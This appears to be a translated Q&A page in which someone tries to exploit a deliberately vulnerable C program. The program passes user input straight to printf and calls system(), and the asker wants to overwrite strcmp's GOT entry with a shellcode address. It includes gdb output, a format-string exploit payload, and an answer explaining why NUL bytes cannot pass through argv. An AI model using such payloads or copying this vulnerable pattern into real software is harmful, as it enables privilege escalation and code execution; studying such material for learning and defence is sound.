Write to memory starting with zero bytes

Assuming this code:

#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char** argv){ char fonction[50] = "/usr/bin/passwd "; char messageAccueil[100] = "changement du mot de passe de : "; if(argc == 1){ printf("vous devez passer un username en parametre \n"); return 1; } printf(messageAccueil); printf(argv[1]); //<-- format string vulnerability here !! if(strcmp(argv[1], "root")==0){ printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n"); return 1; } printf("\n"); strncat(fonction,argv[1],38); system(fonction); return 0; } 

I want an exec shell using a format string vulnerability. So, I wanted to rewrite the strcmp function address from GOT to the address of my shell code stored in the environment variable.

gdb gave me:

 (gdb) info functions 0x0000000000400570 strcmp@plt (gdb) disas 0x400570 Dump of assembler code for function strcmp@plt : 0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]#0x600c80 < strcmp@got.plt > 0x0000000000400576 <+6>: push 0x6 0x000000000040057b <+11>: jmp 0x400500 End of assembler dump. 

So I want to write my shellcode address on 0x00600c80

How can I pass nullbyte to my ./changepasswd file?

I am really trying to use this exploit:

 /changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x 

It gives me the address 600c845f

But \x00 does not affect and is not stored on the stack.

I found that the actual address starting with 00 may also be a problem with the ascii army, but the exec-shield option is completely absent on my system.

So, I'm looking for a way to write 00 to my stack OR get my GOT addresses that will be started by something other than 00 ...

+5
source share
1 answer

There are two questions here. Or rather, two impossibilities.

First, a shell question arises: how to pass a string containing NUL as a command line argument to a utility.

Shell variables cannot contain NUL s, so there is no way to build a parameter string and pass it as an argument. [Note 1] However, you can create a stream containing NUL and pipe, which is in some utility stdin . It remains to find a utility that converts its input into a command line argument for some other utility; it will be xargs . So you can try the following:

 printf '\0This is an argument' | xargs -I{} ./victim {} 

However, this will not work (and most xargs implementations do not even let you try [Note 2]) because of the second problem: the argv parameter for main is an array of NUL terminated strings, so each command line argument ends with the first NUL . Therefore, even if you manage to find a way to pass all bytes to the argv array, the utility will consider NUL as the completion of the argument, and not as part of the argument. (For example, printf(argv[1]) will print bytes from the first argument until it reaches NUL , and NUL is the end of the format string.)

But you will not find a way to do this because the functions of the exec* system library (one of which is necessary to pass arguments to another executable file) will also process NUL as the completion of the corresponding argument. Since the exec* function must copy the arguments to the address space of the new executable image, and the copy stops when the end of the argument is reached, any bytes following the NUL will be left without memory.


Notes:

  • There are various ways in shells to combat attempts to insert a NUL using command substitution. Bash, for example, simply removes NUL s, but other shells may abort the replacement in the first NUL .

  • For the record, the implementation of Gnu xargs will result in the following useful message:

    xargs: Warning: NUL appears in the input line. It cannot be passed in the argument list. Did you mean to use the --null option?

+2
source

Source: https://habr.com/ru/post/1242778/


All Articles